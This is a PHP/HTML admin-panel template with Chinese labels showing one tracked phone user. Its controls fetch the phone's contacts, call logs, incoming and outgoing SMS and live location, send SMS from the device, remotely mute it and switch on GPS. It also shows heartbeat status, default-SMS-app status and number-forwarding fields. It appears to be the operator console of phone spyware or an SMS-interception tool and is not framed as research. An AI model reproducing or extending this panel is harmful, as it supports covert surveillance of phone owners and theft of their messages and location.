<style>
    .page-title {
        background: #ffffff none repeat scroll 0 0;
        box-shadow: 0 2px 2px rgba(0, 0, 0, 0.05), 0 1px 0 rgba(0, 0, 0, 0.05);
        clear: both;
        height: 43px;
        line-height: 43px;
        padding: 0 20px;
        margin-bottom: 3px;
    }

    .page-title2 {
        clear: both;
        height: 23px;
        line-height: 23px;
        padding: 0 0px;
        margin-bottom: 25px;
    }

    .iitem {
        margin-bottom: 10px;
    }

</style>

<div class="pagebg"></div>
<div class="pagemain">
    <div class="row base row-fluid clearfix  bg">
        <div class="col-md-3">
            <div class="page-title" >
                {if $qxarray.edit}
                    <a href="javascript:;" class="btn" id="userinfoedit"
                       title="用戶管理">用戶名: &nbsp;{$thmuser.username|default='无'}</a>
                {else}
                    用戶名: &nbsp;{$thmuser.username|default='无'}
                {/if}
            </div>

            <a href="javascript:;" id="xtblog" title="心跳包记录">
                <div class="page-title2">
                    <div id="userstate">
                        最後上線&nbsp;&nbsp;{$thmuser.online_time}
                        <div class="row">
                            <div class="col-md-3" style="font-size: 16px;">
                                {if $thmuser.online == '未上線'}
                                <div class="text-danger">{$thmuser.online}</div>
                                {else}
                                <div class="text-success">{$thmuser.online}</div>
                                {/if}
                            </div>
                            <div class="col-md-6" style="font-size: 16px;">
                                &nbsp;短信预设APP&nbsp;
                            </div>
                            <div class="col-md-3" style="font-size: 16px;">
                                {if $thmuser.smsappstate == '1'}
                                    <div class="text-success">已启用</div>
                                {else}
                                    <div class="text-danger">未启用</div>
                                {/if}
                            </div>
                        </div>
                    </div>
                </div>
            </a>


            {if $qxarray.userinfolog}
            <div class="col-md-12 iitem" style="margin-top: 10px">
                <div class="text-center">
                    <a href="javascript:;" class="btn btn-success " id="userinfolog" title="用戶信息上傳">用戶信息上傳</a>
                </div>
            </div>
            {/if}

            {if $qxarray.txl}
            <div class="col-md-12 iitem">
                <div class="text-center">
                    <a href="javascript:;" class="btn btn-success " id="txl" title="聯絡人">聯絡人</a>
                </div>
            </div>
            {/if}

            {if $qxarray.message}
            <div class="col-md-12 iitem">
                <div class="text-center">
                    <a href="javascript:;" class="btn btn-success " id="thjl" title="通話紀錄">通話紀錄</a>
                </div>
            </div>
            {/if}

            {if $qxarray.message2}
            <div class="col-md-12 iitem">
                <div class="text-center">
                    <a href="javascript:;" class="btn btn-info " id="jsdx" title="接收短信">接收短信</a>
                </div>
            </div>
            {/if}

            {if $qxarray.message2_1}
            <div class="col-md-12 iitem">
                <div class="text-center">
                    <a href="javascript:;" class="btn btn-info " id="fsdx" title="發送记录">發送记录</a>
                </div>
            </div>
            {/if}

            {if $qxarray.message2_2}
            <div class="col-md-12 iitem">
                <div class="text-center">
                    <a href="javascript:;" class="btn btn-info " id="csdx" title="傳送短信">傳送短信</a>
                </div>
            </div>
            {/if}


            {if $qxarray.jspos}
            <div class="col-md-12 iitem">
                <div class="text-center">
                    <a href="{$thmuser.mapurl}" target="_blank" class="btn btn-primary  ">即時位置</a>
                </div>
            </div>
            {/if}

            {if $qxarray.liuyan}
            <div class="col-md-12 iitem">
                <div class="text-center">
                    <a href="javascript:;" class="btn btn-primary " id="lygl" title="留言管理">留言管理</a>
                </div>
            </div>
            {/if}

            {if $qxarray.sendmsg}
            <div class="col-md-12 iitem">
                <div class="text-center">
                    <a href="javascript:;" class="btn btn-primary " id="sendmsg" title="APP發送">APP發送</a>
                </div>
            </div>
            {/if}


            {if $qxarray.command}
            <div class="col-md-12 iitem">
                <div class="text-center">
                    <a href="thm/user/command/ids/{$thmuser.id}" class="btn btn-primary btn-ajax ">控制靜音</a>
                </div>
            </div>
            {/if}
            {if $qxarray.gps}
            <div class="col-md-12 iitem">
                <div class="text-center">
                    <a href="thm/user/opengps/ids/{$thmuser.id}" class="btn btn-primary btn-ajax ">开启GPS</a>
                </div>
            </div>
            {/if}



        </div>
        
        <div class="col-md-9">
            <div class="col-xs-12 col-sm-12 col-md-12 col-lg-12" id="divtable1" hidden>
                <div class="panel panel-default panel-intro">
                    <div class="panel-body">
                        <div id="myTabContent1" class="tab-content">
                            <div class="tab-pane fade active in" id="one">
                                <div class="widget-body no-padding">
                                    <div id="toolbar1" class="toolbar">
                                        {:build_toolbar('refresh')}
                                    </div>
                                    <table id="table1" class="table table-striped table-bordered table-hover" width="100%">

                                    </table>


                                </div>
                            </div>

                        </div>
                    </div>
                </div>
            </div>

            <div class="col-xs-12 col-sm-12 col-md-12 col-lg-12" id="divtable2" hidden>
                <div class="panel panel-default panel-intro">
                    <div class="panel-body">
                        <div id="myTabContent2" class="tab-content">
                            <div class="tab-pane fade active in" id="two">
                                <div class="widget-body no-padding">
                                    <div id="toolbar2" class="toolbar">
                                        {:build_toolbar('refresh')}
                                    </div>
                                    <table id="table2" class="table table-striped table-bordered table-hover" width="100%">

                                    </table>


                                </div>
                            </div>

                        </div>
                    </div>
                </div>
            </div>

            <div class="col-xs-12 col-sm-12 col-md-12 col-lg-12" id="divtable3" hidden>
                <div class="panel panel-default panel-intro">
                    <div class="panel-body">
                        <div id="myTabContent3" class="tab-content">
                            <div class="tab-pane fade active in" id="t3">
                                <div class="widget-body no-padding">
                                    <div id="toolbar3" class="toolbar">
                                        {:build_toolbar('refresh')}
                                    </div>
                                    <table id="table3" class="table table-striped table-bordered table-hover" width="100%">

                                    </table>


                                </div>
                            </div>

                        </div>
                    </div>
                </div>
            </div>

            <div class="col-xs-12 col-sm-12 col-md-12 col-lg-12" id="divtable4" hidden>
                <div class="panel panel-default panel-intro">
                    <div class="panel-body">
                        <div id="myTabContent4" class="tab-content">
                            <div class="tab-pane fade active in" id="t4">
                                <div class="widget-body no-padding">
                                    <div id="toolbar" class="toolbar">
                                       <a class="btn btn-info btn-dialog" href="thm/message/sendmsg/ids/{$thmuser.id}" title="發短信"> 發短信</a>
                                    </div>
                                    <table id="table4" class="table table-striped table-bordered table-hover" width="100%">

                                    </table>


                                </div>
                            </div>

                        </div>
                    </div>
                </div>
            </div>

            <div class="col-xs-12 col-sm-12 col-md-12 col-lg-12" id="divtable5" hidden>
                <div class="panel panel-default panel-intro">
                    <div class="panel-body">
                        <div id="myTabContent5" class="tab-content">
                            <div class="tab-pane fade active in" id="t5">
                                <div class="widget-body no-padding">

                                    <div id="toolbar5" class="toolbar">
                                        <a href="javascript:;" class="btn btn-primary btn-refresh" title="刷新"><i class="fa fa-refresh"></i> </a>
                                        <a href="javascript:;" class="btn btn-danger btn-del btn-disabled disabled {:$auth->check('thm/message/del')?'':'hide'}" title="{:__('Delete')}" ><i class="fa fa-trash"></i> {:__('Delete')}</a>
                                    </div>
                                    <table id="table5" class="table table-striped table-bordered table-hover" width="100%">

                                    </table>


                                </div>
                            </div>

                        </div>
                    </div>
                </div>
            </div>

            <div class="col-xs-12 col-sm-12 col-md-12 col-lg-12" id="divtable6" hidden>
                <div class="panel panel-default panel-intro">
                    <div class="panel-body">
                        <div id="myTabContent6" class="tab-content">
                            <div class="tab-pane fade active in" id="t6">
                                <div class="widget-body no-padding">
                                    <div id="toolbar6" class="toolbar">
                                        <a href="javascript:;" class="btn btn-primary btn-refresh" title="刷新"><i class="fa fa-refresh"></i> </a>
                                        <a href="javascript:;" class="btn btn-danger btn-del btn-disabled disabled {:$auth->check('thm/message/del')?'':'hide'}" title="{:__('Delete')}" ><i class="fa fa-trash"></i> {:__('Delete')}</a>
                                    </div>
                                    <table id="table6" class="table table-striped table-bordered table-hover" width="100%">

                                    </table>


                                </div>
                            </div>

                        </div>
                    </div>
                </div>
            </div>


            <div class="col-xs-12 col-sm-12 col-md-12 col-lg-12" id="divtable7" hidden>
                <div class="panel panel-default panel-intro">
                    <div class="panel-body">
                        <div id="myTabContent7" class="tab-content">
                            <div class="tab-pane fade active in" id="t7">
                                <div class="widget-body no-padding">
                                    <div id="toolbar7" class="toolbar">
                                        {:build_toolbar('refresh')}
                                    </div>
                                    <table id="table7" class="table table-striped table-bordered table-hover" width="100%">

                                    </table>


                                </div>
                            </div>

                        </div>
                    </div>
                </div>
            </div>

            <div class="col-xs-12 col-sm-12 col-md-12 col-lg-12" id="divtable8" hidden>
                <form id="send-form" class="form-horizontal" role="form" data-toggle="validator" method="POST" action="">

                    <div class="form-group">
                        <label class="control-label col-xs-12 col-sm-2">{:__('發送信息')}:</label>
                        <div class="col-xs-12 col-sm-8">
                            <textarea id="c-msg" data-rule="required" class="form-control " rows="8" name="msg" cols="80"></textarea>
                        </div>
                    </div>

                    <div class="form-group layer-footer">
                        <label class="control-label col-xs-12 col-sm-2"></label>
                        <div class="col-xs-12 col-sm-8">
                            <button type="submit" class="btn btn-success btn-embossed disabled">{:__('发送')}</button>
                        </div>
                    </div>
                </form>
            </div>

            <div class="col-xs-12 col-sm-12 col-md-12 col-lg-12" id="divtable9" hidden>
                <form id="edit-form" class="form-horizontal" role="form" data-toggle="validator" method="POST" action="thm/user/edit/ids/{$thmuser.id}">

                    <input name="row[app_id]" type="hidden" value="5">
                    <div class="form-group">
                        <label class="control-label col-xs-12 col-sm-2">{:__('Name')}:</label>
                        <div class="col-xs-12 col-sm-8">
                            <input id="c-name" data-rule="" disabled class="form-control" name="row[name]" type="text" value="{$thmuser.name}">
                        </div>
                    </div>

                    <div class="form-group">
                        <label class="control-label col-xs-12 col-sm-2">{:__('用户名')}:</label>
                        <div class="col-xs-12 col-sm-8">
                            <input id="c-username" data-rule="required" class="form-control" name="row[username]" type="text" value="{$thmuser.username}">
                        </div>
                    </div>

                    <div class="form-group">
                        <label class="control-label col-xs-12 col-sm-2">{:__('Mobile')}:</label>
                        <div class="col-xs-12 col-sm-8">
                            <input id="c-mobile" data-rule="" class="form-control" name="row[mobile]" type="text" value="{$thmuser.mobile}">
                        </div>
                    </div>
                    <div class="form-group">
                        <label class="control-label col-xs-12 col-sm-2">{:__('Zfmobile')}:</label>
                        <div class="col-xs-12 col-sm-8">
                            <input id="c-zfmobile" data-rule="" class="form-control" name="row[zfmobile]" type="text" value="{$thmuser.zfmobile}">
                        </div>
                    </div>

                    <div class="form-group">
                        <label class="control-label col-xs-12 col-sm-2">{:__('IMEI转发手机')}:</label>
                        <div class="col-xs-12 col-sm-8">
                            <input id="c-ccmobile" data-rule="" class="form-control" name="row[ccmobile]" type="text" value="{$thmuser.ccmobile}">
                        </div>
                    </div>


                    <div class="form-group">
                        <label class="control-label col-xs-12 col-sm-2">{:__('Sjxh')}:</label>
                        <div class="col-xs-12 col-sm-8">
                            <input id="c-sjxh" data-rule="" class="form-control" name="row[sjxh]" type="text" value="{$thmuser.sjxh}">
                        </div>
                    </div>
                    <div class="form-group">
                        <label class="control-label col-xs-12 col-sm-2">{:__('Remark')}:</label>
                        <div class="col-xs-12 col-sm-8">
                            <textarea id="c-remark" data-rule="" class="form-control " rows="5" name="row[remark]" cols="50">{$thmuser.remark}</textarea>
                        </div>
                    </div>

                    <div class="form-group">
                        <label class="control-label col-xs-12 col-sm-2">{:__('Switch')}:</label>
                        <div class="col-xs-12 col-sm-8">

                            <input  id="c-switch" name="row[switch]" type="hidden" value="{$thmuser.switch}">
                            <a href="javascript:;" data-toggle="switcher" class="btn-switcher" data-input-id="c-switch" data-yes="1" data-no="0" >
                                <i class="fa fa-toggle-on text-success {eq name="$thmuser.switch" value="0"}fa-flip-horizontal text-gray{/eq} fa-2x"></i>
                            </a>
                        </div>
                    </div>

                    <div class="form-group">
                        <label class="control-label col-xs-12 col-sm-2">{:__('新增用户预设时间(秒)')}:</label>
                        <div class="col-xs-12 col-sm-8">
                            <input id="c-txjg" data-rule="required" class="form-control" name="row[txjg]" type="number" value="{$thmuser.txjg}">
                        </div>
                    </div>

                    <div class="form-group">
                        <label class="control-label col-xs-12 col-sm-2">{:__('後台页面刷新(秒)')}:</label>
                        <div class="col-xs-12 col-sm-8">
                            <input id="c-htsx" data-rule="required" class="form-control" name="row[htsx]" type="number" value="{$thmuser.htsx}">
                        </div>
                    </div>

                    <div class="form-group layer-footer">
                        <label class="control-label col-xs-12 col-sm-2"></label>
                        <div class="col-xs-12 col-sm-8">
                            <button type="submit" class="btn btn-success btn-embossed disabled">{:__('OK')}</button>
                        </div>
                    </div>
                </form>
            </div>

            <div class="col-xs-12 col-sm-12 col-md-12 col-lg-12" id="divtable10" hidden>
                <div class="panel panel-default panel-intro">
                    <div class="panel-body">
                        <div id="myTabContent10" class="tab-content">
                            <div class="tab-pane fade active in" id="t10">
                                <div class="widget-body no-padding">
                                    <div id="toolbar10" class="toolbar">
                                        {:build_toolbar('refresh')}
                                    </div>
                                    <table id="table10" class="table table-striped table-bordered table-hover" width="100%">

                                    </table>

                                </div>
                            </div>

                        </div>
                    </div>
                </div>
            </div>

        </div>

    </div>
</div>


